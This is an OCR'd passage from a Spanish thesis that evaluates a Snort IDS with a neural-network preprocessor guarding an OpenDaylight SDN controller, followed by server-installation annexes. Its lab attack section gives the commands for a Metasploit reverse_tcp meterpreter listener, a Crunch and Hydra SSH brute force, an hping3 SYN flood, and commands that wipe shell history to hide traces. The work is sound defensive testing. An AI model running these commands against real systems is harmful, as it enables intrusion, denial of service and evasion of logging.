nmap (stage 5) 192.168.100.111 30 Nov202011:44:04 30 Nov 2020 11:48:09 Finished

Figura 78. Resultados de Sparta

Fuente: Autoria propia
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Los resultados obtenidos por las dos herramientas muestran que el ODL se
encuentra alojado en un sistema operativo Windows, ademas de poseer varios puertos
TCP sin proteccion, es asi como se usan estas vulnerabilidades para obtener acceso a este

host.
5.1.3.3. Obtener acceso

En la tercera fase se aprovechan las vulnerabilidades obtenidas de la exploracién
a la victima con diferentes propositos, como por ejemplo; el acceder a la informacion que
se encuentra en ella, modificar su informacion, tratar de truncar su servicio, entre otros.
Por este motivo, tan pronto como se conoce las vulnerabilidades, se empiezan a
explotarlas y para ello se usan cuatro herramientas que son: Metasploit, Crunch, Hydra y
Hping3. A continuacion se detalla como se utiliza cada una dentro de las pruebas

efectuadas.

Antes de usar la herramienta de Metasploit se verifica si esta es capaz de vulnerar
el ODL, paraello es necesario digitar el comando searchsploit "Windows" en la terminal
del atacante, si el resultado es similar a la Figura 79 quiere decir que la herramienta
contiene funciones utiles para el objetivo de esta fase, de esta manera la funcion que se

emplea en esta prueba se denomina reverse_tcp (recuadro rojo).
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llcode Using Power r
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dlorlleAlntip:
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c(cmd.exe)

7.0) - Bind (
a) - i

cp) 1 code (
- Add Administrator User (
e

Figura 79. Resultados de searchsploit
Fuente: Autoria propia
Ahora, el propdsito de Metasploit es averiguar el nombre de usuario que
administra el ODL, esto se logra con la funcién citada en el anterior acapite (reverse_tcp)
y consiste en colocar un archivo de payload en el ODL, mismo que se colocé en el host
previo a que se ejecute esta herramienta. Ademas, se configura en Metasploit los
parametros sefialados en la Tabla 26; una vez que el archivo payload sea abierto por el
usuario administrador, se establecera la comunicacion entre el ODL y Kali permitiendo

al atacante tener control sobre la victima.
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Tabla 26

Parametros de configuracion Metasploit

123

Parametro

Funcion

use exploit/multi/handler

Indica que se usan funciones con
payload.

set PAYLOAD windows/meterpreter/revers_tcp

Indicar la funcién que usa metasploit

set LHOST 192.168.10.117

Es la direccion IP del atacante

set LPORT 4444

Establece el puerto de comunicacion

run

Inicia el proceso de metasploit

Fuente: Autoria propia

En la Figura 80 se indica el proceso para la configuracion de los pardametros en la

herramienta referida (Metasploit), con los pardmetros configurados esta herramienta

queda a la espera de que se abra el archivo payload para establecer la comunicacion entre

la victima y el atacante.
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root@localhost: ~ root@localhost: ~

ry - 355 post
10 nops

t tip: Use the command to open the
1y active module in your editor

xploit/multi

uUsing
6 ple

) > set LPORT &éd4s
)} > run

erse TCP handler on 192.168.10.117:4444

Figura 80. Proceso de Metasploit
Fuente: Autoria propia
Por otro lado, la Figura 81 denota los resultados de Metasploit, es decir, el proceso
Ilevado a cabo posterior a que el archivo en el ODL se haya abierto. Una vez dentro de la
consola de Windows con el comando shell basta con digitar net user para que se
muestren los usuarios que posee este host. Finalmente, con los usuarios obtenidos, se

escoge el usuario Willams para ser vulnerado, es decir, para obtener su contrasefia.
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74444 — 192.168.100.111:4

Microsoft Corporation. Tod L erechos reservados.

JWA\Desktopnet user

Cuentas de usuario de \\DESKTOP-5QU64G6

Administrador LtAccount \
root

WDAGUtL yAccount

Se ha completado el comando correctamente.

Figura 81. Resultados de Metasploit
Fuente: Autoria propia
En cuanto se tiene un nombre de usuario en especifico y observando en la
exploracion que el puerto 22 del servicio SSH se encuentra vulnerable, se inicia un ataque
para conocer su contrasefia; el cual se consigue con dos herramientas: Crunch y Hydra.
Crunch permite crear diccionarios basados en parametros programados, mientras que
Hydra usa estos diccionarios para intentar obtener credenciales (usuario y contrasefia) del

ODL.

En este caso se intenta obtener Unicamente la contrasefia para el acceso remoto al
usuario llamado Willams, es asi como se empieza con la creacion de un diccionario
denominado crunch_passwords.txt. EIl proceso de ello se encuentra en la Figura 82,
Unicamente se necesita una linea de comando en la que se indica que el diccionario posee
palabras de 5 letras (crunch 5 5) usando todo el alfabeto (abcdefghijklmnopgrstuvwxyz)

y este diccionario se guarda en un archivo de texto (> crunch_password. txt).
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root@localhost: ~ x|

:~8 crunch 5 5 ah(defghr)klmnnpqrs1HVW(y7 > crunch_passwords.txt

Crunch will now generate the ftollowing amount ot data: 71288256 bytes
67 MB

@ GB

@ 7B

@ PB

Crunch will now generate the following number of lines: 11881376

-y |

Figura 82. Creacion de diccionario con Crunch

Fuente: Autoria propia

A continuacion Hydra usa el diccionario crunch_passwords.txt para ejecutar un
ataque de fuerza bruta y de esta manera conseguir el password, para ello es primordial
ciertos configurar los parametros que se establecen en la Figura 83; entre ellos estan: el
nombre del usuario de la victima (-1 willams), el diccionario que se usara para encontrar
la contrasefia del usuario sefialado (-P /root/Crunch_password), la direccion IP de la
victima (192.168.100.111), cuantos subprocesos se utilizan durante el ataque (-t 16), por
ultimo se escribe el nombre del servicio que sera vulnerado (ssh). Al finalizar el ataque

de Hydra, la contrasefia obtenida con este ataque es admin.

Figura 83. Resultados de Hydra

Fuente: Autoria propia

Como se observa en el capitulo 3, el controlador de la SDN permite una
administracion mediante una interfaz web, misma que usa el puerto 8181, convirtiéndose
este puerto en otra vulnerabilidad, por este motivo se decide realizar un ataque DOS y

para ello se utiliza la herramienta denominada Hping3 ya que permite enviar gran
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cantidad de peticiones de acceso llegando a truncar el servicio que usa el controlador y
asi evitando que el ingreso a la administracion de este. El proceso de Hping3 se presenta
en la Figura 84, en el que indica que desde la IP atacante (-a 10.10.10.10) se inunda de

paquetes Sync al puerto 8181 (-p 8181 -S --flood) de la IP victima (192.168.100.111).

root@localhost: ~

:~% hping3
HPING 192.168.100.111 (
hping in flood mode, 1

Figura 84. Proceso de Hping3
Fuente: Autoria propia
En la Figura 85 se demuestra que a pesar del ataque realizado con Hping3 el
servidor ODL no presenta Denegacion de Servicio (DoS) ya que sigue trabajando con
normalidad permitiendo acceder al mismo y sin presentar retraso o lentitud en el acceso
a su interfaz web. Sin embargo, el IDS logra detectar las anomalias que esta herramienta

genera, los resultados obtenidos se presentan en la seccién 5.1.3.5.

&« g A No essequro | 192.168.100.111:8181/index.htmi#/topology % Q % e

. © % Topology

Controls

Reload

0s 'C-)IG&L!-‘Z&].UI a8

\

\
\

openflow191495286137923__

Figura 85. Interfaz web disponible durante ataque de Hping3

Fuente: Autoria propia
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5.1.3.4. Mantener acceso

El proposito que tiene la cuarta fase es permitir al atacante (hacker) acceder a la
informacidn de la victima cada vez que lo requiera y sin necesidad de volver a pasar por
las fases anteriores, de modo que la herramienta indicada es un archivo de texto, ya que
en él se almacenan las credenciales obtenidas del ataque de Hydra cumpliendo asi con el
objetivo de mantener acceso, puesto que al final se obtiene un archivo a su completa
disponibilidad con las credenciales para el acceso remoto al ODL. Por esta razon no posee
mucha complejidad méas que transcribir las credenciales en un archivo de texto en este

caso llamado credenciales.txt, similar a como se presenta en la Figura 86.

root@localhost: ~

GNU nano 4.9.3

USUARIOS CONTRASENAS
Willams admin

Figura 86. Almacenamiento de credenciales

Fuente: Autoria propia
5.1.3.5. Borrar huellas

Esta ultima fase consiste en eliminar los rastros que el atacante pudo dejar a lo
largo del proceso efectuado por el circulo hacker; para ello se usan comandos respectivos
de Kali Linux, mismos que tienen el proposito de eliminar los registros de los comandos
usados en la ejecucion de cada una de las herramientas mencionadas a lo largo del proceso
del circulo hacker, estos comandos se los describe en la Tabla 27, la cual sefiala el

comando y su funcién.
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Tabla 27

Comandos para borrar huellas

Comando Funcion
rm ~/.bash_history -rf Borrar historial de comandos usados.
history -c Borrar registro de sesion actual.
kill -9 $$ Cerrar sesiones actuales.

Fuente: Autoria propia
5.1.3.5. Resultados del Snort+RNA

En esta ultima seccion de la etapa verificar se plasman los resultados obtenidos
con cada una de las herramientas utilizadas dentro del circulo hacker, los cuales seran
usados posteriormente para determinar el funcionamiento del Snort+RNA. Cabe aclarar
que los resultados expuestos en la Tabla 28 son los obtenidos de los paquetes que circulan

a través del Snort+RNA durante los diferentes analisis.

Tabla 28
Resultados del Snort+RNA

Nslookup Nmap Sparta Metasploit Hydra Hping3

Paquetes Recibidos 8 267994 713540 185 95791 4671833
Paquetes analizados 4 267973 560663 185 95791 825335
Paquetes rechazados 0 0 152877 0 0 3846498
Paquetes en espera 4 21 0 0 0 0
Alertas 0 166 307 0 57 516

Fuente: Autoria propia

Basados en los resultados presentados anteriormente, es posible concluir que los
ataques por parte de las herramientas nslookup y metasploit no generaron alertas puesto
que no presentaron alteraciones en la red. Por otro lado, los ataques de nmap, sparta,
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hydra y hping3 si generaron alertas ya que estas herramientas provocan un aumento en el
trafico de la red. Otra manera de verificarlo es a través de las alertas generadas por el
Snort+RNA, estas se clasifican como reales debido a que indican un 99% de certeza, se
toma a la Figura 87 como ejemplo de las notificaciones que se generan durante el ataque

de la herramienta nmap.

Figura 87. Alertas de Snort+RNA para nmap.

Fuente: Autoria propia

Cabe agregar lo que menciona la seccién 4.5, Snort+RNA posee una interfaz web
para observar el registro del trafico capturado durante los ataques realizados con las
herramientas en mencion, en los cuales se verifican si las alertas generadas se tratan de
ataques reales o de falsos positivos, teniendo como punto de referencia la informacién

que brinda la Tabla 24 del capitulo 4.

El registro para nslookup y metasploit son iguales en cuanto a rangos de valores
normales se refiere, sin embargo, se toma como ejemplo al registro de nslookup (Figura
88), en €l se observa que los nimeros de paquetes en hits_as_src y hits_as_dst son
inferiores a 10%, igualmente los tiempos en av_rcv_time y av_snd_time son superiores a

103, aclarando las razones por el cual el Snort+RNA no genera alertas con este ataque.
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192.168.100.100/tesis ffile/index.php

Consola de Registro para Preprocesador PortscanAl
Logs generated: 09/17-08:28:02
IPs Hash table

[P [ hits as src | hits as dst | av_rcv_time | av_snd time | win_count |
216810117 [2 o 0000000 [0.000105 _
19216810129 Jo___l2______Joooo1os _Jooooooo Do ]

Direct Relation Hash table

192.168.10.117 192.168.10.129 ]

Registered IPs inIPs Hash table: 2

Registered Direct Relations: 1

Figura 88. Logs del ataque Nslookup

Por altimo, los registros para nmap, sparta, hydra y hping3, muestran valores fuera
de los rangos establecidos, de esta manera se acude como ejemplo al registro de hydra
(Figura 89), mismo que exponen a hits_as_src y hits_as_dst con numeros de paquetes
superiores a 10%, es necesario aclarar que para la IP victima (192.168.100.111) se toma
en cuenta a win_count debido a que indica que las mediciones se hicieron 31 veces y en
cada medicién hubo 1599 hits_as_dst (numero de paquetes como destino), asimismo,
av_rcv_timeyav_snd_time contiene tiempos inferiores a 1073, y de este modo se verifican

que las alertas generadas por el Snort+RNA son de ataques reales.

esis file/indexphp

Consola de Registro para Preprocesador PortscanAl
Logs generated: 09/17-11:03:26
IPs Hash table

-_lmm
19216810117 0018466 [o.001663
192.168.100.111 0.001497 _ 0.016636 B

Direct Relation Hash table

—m_
192168100111 19216810117
192.168.10.117 192.168.100.111

RegisteredIPsinIPs Hash table: 2

Registered Direct Relations: 2

Figura 89. Logs del ataque Hydra
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5.1.4. Actuar

La Gltima etapa del modelo PDCA brinda una retroalimentacion sobre la
eficiencia de la propuesta presentada en la etapa de planificacion, en este caso el
Snort+RNA en SDN; para ello se analizan los resultados obtenidos en la seccion 5.1.3.5
y es posible determinar que el sistema no es capaz de examinar todos los paquetes que
recibe cuando estos empiezan a transmitirse en gran cantidad, tomando como ejemplo a

los resultados de la herramienta Hping3 y de Hydra.

En el primer caso con Hping3, el Snort+RNA captura un total de 4°671.833
paquetes, de los cuales se analizan 825.335 paquetes (equivalente al 17.67%) mientras
que 3°846.498 paquetes (82.33%) se rechazan, dando a entender que el sistema no se
encuentra listo para brindar un analisis completo de los paquetes que recibe a partir de
herramientas destinadas a ataques DDoS. Por otro lado, estan los resultados de Hydra,
aqui el Snort+RNA logra analizar 95.791 paquetes capturados (100%), lo cual indica que
ante este tipo de ataques de fuerza bruta el sistema es totalmente eficiente en lo que

respecta la parte del analisis hacia los paquetes recibidos.

De acuerdo con el anterior acapite, es necesario dejar claro que, aunque el
Snort+RNA no puede analizar todo el trafico que se dirige hacia la SDN; si genera alertas
cuando se presentan ataques de tipo activo, los cuales se caracterizan por ocasionar un

incremento inusual de trafico.

Es asi como para obtener resultados diferentes es posible ejecutar tres alternativas;
la primera alternativa es realizar el mismo disefio con otro set de entrenamiento, mismo
que permitird al sistema mejorar la eficiencia ante ataques de DDoS, la segunda
alternativa es hacer un cambio en el tipo de RNA y de esta manera observar los cambios
que el IDS presente, en tanto que la tercera alternativa es cambiar de IDS y adaptarlo a la

RNA gue se propone en este trabajo de titulacion.
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CAPITULO 6.

CONCLUSIONES Y RECOMENDACIONES
6.1. Conclusiones

El andlisis bibliografico permite centrar los tdépicos mas importantes bajo los
cuales se encuentra sustentado el presente trabajo de titulacion, tanto la parte de hardware

como software que conforman el mismo.

La infraestructura hiperconvergente de Proxmox del data center en la FICA, es
capaz de apalancar infraestructuras virtuales como la SDN propuesta y de esta manera
optar por métodos mas eficientes de administracion en lo que respecta a los dispositivos

de red que se alojan alli.

En base a lo mencionado por Reddy & Annapurani Panaiyappan (2018), se
concluye que el controlador (ODL) es parte fundamental de la SDN ya que en él se centra
la completa administracidn de su infraestructura, convirtiéndose en un flanco de ataque

para personas mal intencionadas.

La politica open source bajo la cual se encuentra disefiado Snort facilitd el uso de
esta herramienta puesto que se adaptd sin inconvenientes a esta propuesta que fue la
integracion con el preprocesador RNA y con este nuevo disefio brindar seguridad al

controlador (ODL) de la SDN.

El disefio de Snort+RNA automatizo en cierta forma el proceso de configuracién
del IDS debido a que el administrador de la red no necesitd configurar reglas para permitir

la deteccion de futuras anomalias suscitadas en la red.

A diferencia del trabajo de Manso, Moura, & Serrdo (2019) esta propuesta de
Snort+RNA fue poco eficiente al momento de analizar los paquetes recibidos en gran

cantidad como por ejemplo, los producidos por ataques DoS; sin embargo, al momento
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de analizar paquetes generados mediante ataques de fuerza bruta, la propuesta resulto

totalmente eficiente.

Aunque el Snort+RNA no logro analizar todos los paquetes recibidos durante las
pruebas de funcionamiento, si genero alertas cuando se incremento el trafico en la red,

demostrando que la herramienta propuesta protege al ODL.

El controlador ODL de la SDN fue capaz de soportar un ataque de DoS generado
por la herramienta Hping3 puesto que no presento retardos ni impedimentos en el acceso

a su interfaz web durante la ejecucién del ataque.

El modelo PDCA de la ISO/IEC 27001 propuesto en este trabajo de titulacién
resultd una opcidn flexible al momento de ofrecer seguridad de la informacion debido a

que se acopld perfectamente en la proteccion de Snort+RNA en ODL.

El proceso del circulo hacker se ajustd a las diferentes herramientas que se
plantearon en esta propuesta, ya que se logré cumplir con el objetivo en cada fase
(reconocimiento, exploracion, obtener acceso, mantener acceso, borrar huellas) que lo

conforma.
6.2. Recomendaciones

En caso de que la infraestructura fisica del data center no disponga dispositivos
de red compatibles con el protocolo Openflow, existe la posibilidad de configurar
dispositivos de red dentro de una maquina virtual con el propdsito de integrarlos a la

SDN.

El escenario de la SDN implementado en esta propuesta sirve como base para
desarrollar futuros proyectos como: la integracion a otras SDN que trabajen bajo el mismo
protocolo openflow, implementacién de API para balancear la carga en este tipo de red,

entre otros.
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El informe de registros de trafico que ofrece esta propuesta se puede mejorar al
hacerlo en tiempo real puesto que Snort+RNA necesita detener su andlisis para poder

tener acceso a dichos registros.

Al momento de brindar seguridad de la informacion a una red, ninguna
herramienta es 100% segura, es por esta razon que no se debe confiar en una sola
herramienta para proteger la informacion de la infraestructura de comunicacion contra

ataques informaticos.

Esta propuesta puede ser puesta a prueba bajo otras normativas de seguridad de
seguridad de la informacion diferente al de la ISO/IEC con el propoésito abarcar otras

areas dentro del ambito de la seguridad.

La etapas del circulo hacker son un proceso en el cual puede usarse herramientas
de hacking distintas a la del presente trabajo de titulacion, siempre y cuando cumplan la

funcién de cada una de sus fases.

Las pruebas de funcionamiento de Snort+RNA pueden realizarse bajo diferentes

conjuntos de procesos diferentes a los propuestos por el circulo hacker.
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ANEXOS
Anexo 1. Instalacién de controlador ODL

Los requisitos para la correcta instalacion de controlador ODL son; tener instalado
Java Runtime Environment (JRE), que se lo puede obtener del siguiente enlace
https://www.java.com/es/download/ y tener el software del controlador en si, esto se lo

obtiene desde este enlace https://bit.ly/2Na9gB2, finalmente se descarga la version y

formato sefialados en la Figura 90.

€ C an a * = " o.

Index of /repositories/opendaylight.release/org/opendaylight/integration/distribution-karaf/0.4.4-Beryllium-SR4

Hame Last Modified Size Description
Parent Directory

distribution-karaf-0.4.4-Beryllium Wed Oct 19 10:09:39 UTC 2016 14542
on-karaf-0.4.4-Berylli Tue Nov 01 18:20:41 UTC 2016 455
-karaf-0.4.4-Beryllium-SR4,pom.asc.mds  Wed Nov 02 12:25:23 UTC 2016 2
dist araf-0.4.4-Beryll al  Wed Nov 02 12:25:23 UTC 2016 40
i araf 0.4.4 Beryllium-SR4.po! Wed Oct 19 10:09:39 UTC 2016 2
distribution-karaf-0.4.4-Beryllium-5R4.pom.sha Wed Oct 19 10:09:39 UTC 2016 40
distribution-karaf-0.4.4-Beryllium-SR4.tar.gz Wed Oct 19 10:09:51 UTC 2016 374158228
distribution-karaf-0.4.4-Beryllium-5R4. tar.gz.asc Tue Nov 01 18:20:41 UTC 2016 455
distribution-karaf-0.4.4 Beryllium-SR4.tar.gz.asc.md5  Wed Nov 02 12:25:23 UTC 2016 2
distribution-karaf-0.4.4-Beryllium-SRd.tar.gz.asc.shal  Wed Nov 02 12:25:23 UTC 2016 0
distribution-karaf-0.4.4-Beryllum-SR4.tarcz.mds  Wed Oct 19 10:09:39 UTC 2016 2
distribution-karaf-0.4.4 Beryllium-SR4.tar.gz.shal ~ Wed Oct 19 10:09:39 UTC 2016 40
distribution-karaf-0.4.4-Beryllium-SR4.zip Wed Oct 19 10:09:52 UTC 2016 376791207
distribution-karaf-0.4.4-Beryllium-SR4.ip.asc Tue Nov 01 18:20:41 UTC 2016 455
distribution-karaf-0.4.4-Beryllium-SR4.zip.asc.mds  Wed Nov 02 12:25:23 UTC 2016 32
distribution-karaf-0.4.4 Beryllium-SRd.zip.asc.shal  Wed Nov 02 12:25:23 UTC 2016 40
distribution-karaf-0.4.4-Beryllium-SR4.zip.md5 Wed Oct 19 10:09:39 UTC 2016 2
distribution-karaf-0.4.4-Beryllium-5R4.zip.shal Wed Oct 19 10:09:39 UTC 2016 40

Figura 90. Pagina de descarga ODL.

Cabe recalcar que los diferentes formatos de compresion van a depender del
Sistema Operativo en el que se realice la instalacién del ODL. Al ser la instalacion en
Windows 10, se descomprime el archivo distribution-karaf-0.4.4-Beryllium-SR4.zip,

quedando los archivos que se presentan en la Figura 91.
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U . distribution-karaf-0.4.4-Beryllium-SR4

MNombre . Fecha de modificacion Tipo Tamafio

# Acceso rapido

. Descargas . . _ _ )
l configuration 9 Carpeta de archi

E Documentos  » l e g Carpeta de archi
B Imégenes l deploy 69 Carpeta de archi
isi B e /2019 Carpeta de archi

l bin 9/ 63 Carpeta de archivos

l externalapps 60 Carpeta de archi

l instances 9 Carpeta de archi

l journal 9 Carpeta de archi
Carpeta de archi
Carpeta de archi

5 Carpeta de archivos
I idmlight.db.mv.db J2019 0 Data Base File
B LicEnsE

I lock

B Este equipo dlist loc

ve - Universidi

umento de te..,
Descargas operties Archivo PROPERT...
E Documentos

Figura 91. Archivos de ODL descomprimido

Para que el controlador funcione en Windows 10 hace falta agregar una liena de
comando en el archivo llamado system.properties, el cual se encuentra dentro de la

carpeta etc; el comando que se debe agregar al final del archivo es:
org.osgi.framework.os.name = Win32

Ahora ya es posible abrir la consola del ODL, para ello se abre como
Administrador el archivo karaf.bin que se encuentra en la carpeta bin, desde la consola
se instalaran los paquetes (features) necesarios dependiendo de las necesidades del
administrador de la red, en este caso los paquetes que se instalaran son los descritos en la
Tabla 13, y el comando lo que permite es:

feature:install odl-restconf odl-mdsal-apidocs odl-dlux-all odl-dlux-node

odl-dlux-core odl-dlux-yangui odl-12switch-switch odl-openflowplugin-all

Para acceder a la interfaz web del ODL, es necesario escribir la siguiente

direccién; http://localhost:8181/index.html, dando como resultado lo que esta en la Figura

92.
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OpenDaylight Dlux x +

&S (el Q‘ 1ttp://localhost:8181 /index.htm

Please Sign In

] Remember Me

Figura 92. Inicio de sesion en interfaz web de ODL

Las credenciales por defecto para acceder al panel de control del ODL son admin,
tanto en username como en password. Y si la instalacion fue correcta, se presenta una

pantalla igual a la de la Figura 93.
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OpenDaylight Dlux
= C @ localhost
- OPEN

% Topology

% Topology Control
ontrols

Reload

Figura 93. Panel de control de ODL.
Anexo 2. Instalacion de Open vSwitch

Open vSwitch permite que los equipos finales se comuniquen con el controlador,
para empezar con su implementacion es necesario instalar una herramienta con esta linea

de comando:

yum install -y https://repos.fedorapeople.org/repos/openstack/EOL/openstack-

juno/epel-7/openvswitch-2.3.1-2.e17.x86_64.rpm
Ahora ya es posible iniciar con el servicio, ejecutando estos comandos

systemctl enable openvswitch

systemctl start openvswitch
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Lo siguiente es configurar la interfaz que permite la comunicacion del OVS con
el controlador, para ello se crea una interfaz virtual que funciona como puente a la cual
es posible agregar varias interfaces tanto virtuales como fisicas, la creacion de esta

interfaz es con el comando:
ovs-vsctl add-br ovs-bro

Para que la interfaz ovs-brO comience a funcionar debe contener a otra interfaz,
en este caso sera la interfaz ens34, ademés es necesario modificar los archivos de
configuracién de ambas interfaces, estos se alojan dentro de /etc/sysconfig/network-
scripts/, la Figura 94 representa la configuracion de ens34, mientras que la Figura 95

indican los datos que deben ir dentro de ovs-brO.

‘@ roct@localhost: ~

GHO mano 2.3.1 File: fetc/sysconfig/network-scripts/ifcfg-ens34

Figura 94. Configuracion de ifcfg-ens34

@ rooct@localhost:~

GNU nano 2.3.1 File: /fetc/sysconfig/network-scripts/ifcfg-ovs-bro

Figura 95. Configuracion de ifcfg-ovs-br0

Finalmente, se conecta a OVS con el controlador ejecutando el siguiente

comando:

ovs-vsctl set-controller ovs-br@ tcp:192.168.100.111:6653
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en el cual se indica la interfaz que se conecta con el controlador (ovs-bre), el
protocolo de comunicacion (tcp), la IP del controlador (192.168.100.111) y el puerto de

comunicacion del controlador (6653).

Anexo 3. Instalacion de servidores

Anexo 3.1. Instalacion de servidor web

En lo que respecta al servidor web, es necesario empezar por la instalacion del

servicio denominado httpd, con el comando.
yum -y install httpd

Una vez instalado el servicio, se debe configurar el mismo para su correcta
ejecucion, para ello se elimina el archivo que contiene la informacién de la pagina de

bienvenida, esta accion se logra con el siguiente comando.
rm -f /etc/httpd/conf.d/welcome.conf

Lo siguiente es editar el archivo de configuracion llamado httpd.conf, el cual se
encuentra dentro de esta direccion /etc/httpd/conf/. El editor usado para este caso es
ejecutado con el comando vi; dentro del archivo citado se modifican las lineas 95, 151, y
164, ademéas de agregar una linea de comando al final de este archivo. Estas

configuraciones son representadas en desde la Figura 96 hasta la Figura 99.

@ roct@localhost:~

Figura 96. Asignacion de IP de servidor web
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root@localhosti~

n
T
n
T
n
¥
n
¥

Figura 97. Permisos para administracion del servidor web

roct@localhost:~

M AR G e

Figura 98. Formatos que el servidor web permite

rect@localhost:~

Figura 99. Informacion que el servidor comparte
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Ahora se configura la pagina de inicio en el servidor, para ello se crear un archivo
Ilamado index.html dentro de /var/www/html/, la informacion que contiene este archivo

se la presenta en la Figura 100.

‘@ reot@localhost:~
GHU nano 2.3.1 File: /var/www/html/index.html

Figura 100. Codigo de index.html

Finalmente se inicia el servicio, pero antes es necesario habilitar su inicio
automatico. Los comandos necesarios para este proceso se indican luego del presente
parrafo. Siendo el primero de ellos el que permite su inicio automatico, con el proposito
de que este servicio se ejecute de manera automatica cada vez que el servidor se encienda;
mientras que el segundo inicia el servicio en mencién.
systemctl enable httpd

systemctl start httpd

Para ingresar al servidor web se escribe IP de este en un navegador, y el resultado

es tal como lo indica la seccion 3.5.2.
Anexo 3.2. Instalacion de servidor ftp

Al igual que el servidor web, este servidor también necesita los servicios
respectivos para su funcionamiento que en este caso se denominan vsftpd; estos son

instalados con el comando:

yum -y install vsftpd
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A continuacion se configura el archivo vsftpd.conf alojando en /etc/vsftpd/, los

cambios hechos en este archivo se los indica en las Figura 101 y Figura 102.

‘@' root@localhost~

GHU mano 2.3.1 File: fetc/vsftpd/vsftpd.conf

Figura 101. Permite el uso de cédigo ASCII

‘@ rect@localhost:~

GNU nano 2.3.1 File: fetc/wvsftpd/vsftpd.conf

Figura 102. Deshabilita acceso anénimo al servidor ftp

Para iniciar el servicio se emplean los comandos sefialados bajo este parrafo, de
igual manera que en el servidor web, el primer comando permite la ejecucion automatica
del servicio, mientras que el segundo comando inicia al servicio.
systemctl enable vsftpd
systemctl start vsftpd

Finalmente se establecen las credenciales que seran usadas para el acceso a este

servidor, en este caso se cred un usuario llamado Willams, mismo que cuenta con su
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respectiva contrasefia, los comandos usados para la creacion de las credenciales se
presentan a continuacion. En tanto que la seccién 3.5.2 presenta los resultados de este
servidor.

useradd Willams

passwd Willams

Anexo 3.3. Instalacion de servidor moodle

Para la instalacion del servicio de moodle es necesario algunos requisitos, entre
ellos estén: el repositorio EPEI, PHP 7.0, Apache y MariaDB. Para agregar el repositorio
EPEI, se necesitan los comandos:
yum install -y epel-release yum-utils
rpm -Uvh https:// mirror.webtatic.com/yum/el7/webtatic-release.rpm

En lo que respecta a PHP 7.0 y Apache, se requieren de ciertas herramientas, la

siguiente linea de comando es usada para su instalacion.

yum install -y php70w php70w-curl php70w-gd php70w-intl php70w-1ldap php70w-
mysql php70w-pspell php70w-xml php70w-xmlrpc php70w-zip php70w-common php70w-
opache php70w-mbstring php70w-soap

Ahora se configura el archivo httpd.conf que se encuentra en /etc/httpd/conf/;

dicha configuracion se indica en la Figura 103.
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@ root@localhost: ~
GNU nmano 2.3.1

File: fetc/httpd/conf/httpd.conf

Figura 103. Asignacidn de la carpeta de moodle

Posterior a la configuracion se inicia el servicio de Apache, estos son los

comandos necesarios para esto proposito.
systemctl start httpd
systemctl enable httpd

El siguiente comando instala MariaDB que es otra herramienta primordial en este

servidor.
yum install mariadb-server -y

Para habilitar el inicio automatico e inicio manual del servicio de MariaDB se
escriben los comandos respectivamente:
systemctl enable mariadb
systemctl start mariadb

En la herramienta MariaDB hace falta agrega ciertas lineas de comando tal como

se exhibe en la Figura 104 en el archivo server.cnf que se aloja en /etc/my.cnf.d/. Para

gue estos cambios surtan efecto se debe reiniciar el servicio de MariaDB con el comando.

systemctl restart mariadb
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@ root@localhost:~

GNU nano 2.3.1 File: fetc/my.cnf.d/server.cnf

Figura 104. Configuracién de server.cnf

Para finalizar con los pre requisitos, se configura la base de datos en MariaDB,
misma que es indispensable en la instalacion de moodle y la cual se logra ejecutando estas
lineas de comandos.
mysql -u root -p
create database moodle;

grant all privileger on moodle.* to ‘root’@¢localhost’ indentified by

‘moodle’;
quit

Antes de empezar con la instalacion de moodle, se descarga el paquete que
contiene los archivos necesarios en su instalacién, este comando ejecuta el proceso en
mencion.

wget https://download.moodle.org/estable34/moodle-latest-34.tgz

A continuacion se descomprime el paquete moodle-latest-34.tgz, para ello se usa
el comando; tar xvzf moodle-latest-34.tgz -C /var/www/html/. Luego de eso se

concede permisos al grupo apache escribiendo el comando.
chown -R apache:apache /var/www/
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La instalacion de moodle es mediante su interfaz web, a la cual se accede
escribiendo la IP del servidor en un navegador, este proceso es intuitivo razon por la cual
todos los valores deben quedar tal como se indican desde la Figura 105 hasta la Figura

110.

N Instalacin - Moodle 34.8- X+

< C 88 | A 192.168.150.13/install.php

. Portafolic 4 Binomo » INSTALARROM OR.. %§ Shodan Udemy - Online Co... [l Comunidad TEAM ... + Bloqueo Mental Par...

Instalacion

Idioma

Seleccionar idioma

Par favor, seleccione un idioma para el proceso de instalacion. Este idioma se usara también como idioma por defecto
del sitio, si bien puede cambiarse mas adelante.

Idioma Espafiol - Internacional (es) ~

Figura 105. Interfaz web para instalacion de moodle
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N Instalacién - Moodle 3.4.8 +

| A 192.168.150.13/install.php ) | ]

. Portafolic 4 Binomo » INSTALARROM OR.. %% Shodan Udemy - Online Co... [ Comunidad TEAM r.. » Blogueo Mental Par...

Instalaciéon

Rutas

Confirme las rutas

Direccion Web
Direccion web completa para acceder a Moodle. No es posible acceder a Moodle utilizando multiples direcciones.
Si su sitio tiene varias direcciones publicas debe configurar redirecciones permanentes en todas ellas, excepto en
€sta. Si su sitio web es accesible tanto desde una intranet como desde Internet, escriba aqui la direccion publica y
configure su DNS para que los usuarios de su intranet puedan también utilizar la direccion publica.

Directorio de Moodle

Ruta completa del directorio que contiene el cddigo de Moodle.

Directorio de Datos
Usted necesita un espacio donde Moodle puede guardar los archivos subidos. En este directorio debe poder
LEER y ESCRIBIR el usuario del servidor web (por lo general 'nobody’, 'apache’ o "'www-data'), pero no debe
poderse acceder a esta carpeta directamente a través de la web. El instalador fratara de crearla si no existe.

Direccion Web hitp://192.168.150.13
Directorio de Moodle variwww/html/moodie

Directorio de Datos Mvariwww/html/moodledata

T £

Figura 106. Configuracién de los directorios de moodle
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N Instalacién - Moodle 34.8 +

| A 192.168.150.13/install.php B G |

. Portafolio % Binomo » INSTALAR ROM OR.. %§ Shodan Udemy - Online Co... [ Comunidad TEAMr.. » Blogueo Mental Par...

Instalacion

Base de datos

Seleccione el controlador de la base de datos

Moodle soporta varios tipos de servidores de base de datos. Por favor, pongase en contacto con el agministrador del
servidor si no sabe qué tipo usar.

Tipo MariaDB (nativo/mariadb) v]

0y

W

Figura 107. Configuracién del gestor de base de datos
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n Instalacién - Moodle 34.8- X+

< | A 192.168.150.13/install.php | i

. Portafolic 4 Binomo =

INSTALAR ROM OR... % Shodan Udemy - Online Co... [l Comunidad TEAM r... » Bloqueo Mental Par...

Instalaciéon

Base de datos

MariaDB (nativo/mariadb)

Ajustes de base de datos

Ahora necesita configurar la base de datos donde se almacenaran la mayoria de los datos de Moodle. La base de datos
se puede crear si el usuario de la base de datos tiene los permisos necesarios, el nombre de usuario y la contrasefia
deben existir. El prefijo de la tabla es opcional. Este controlador no es compatible con el antiguo motor MylSAM.

Servidor de la base de datos

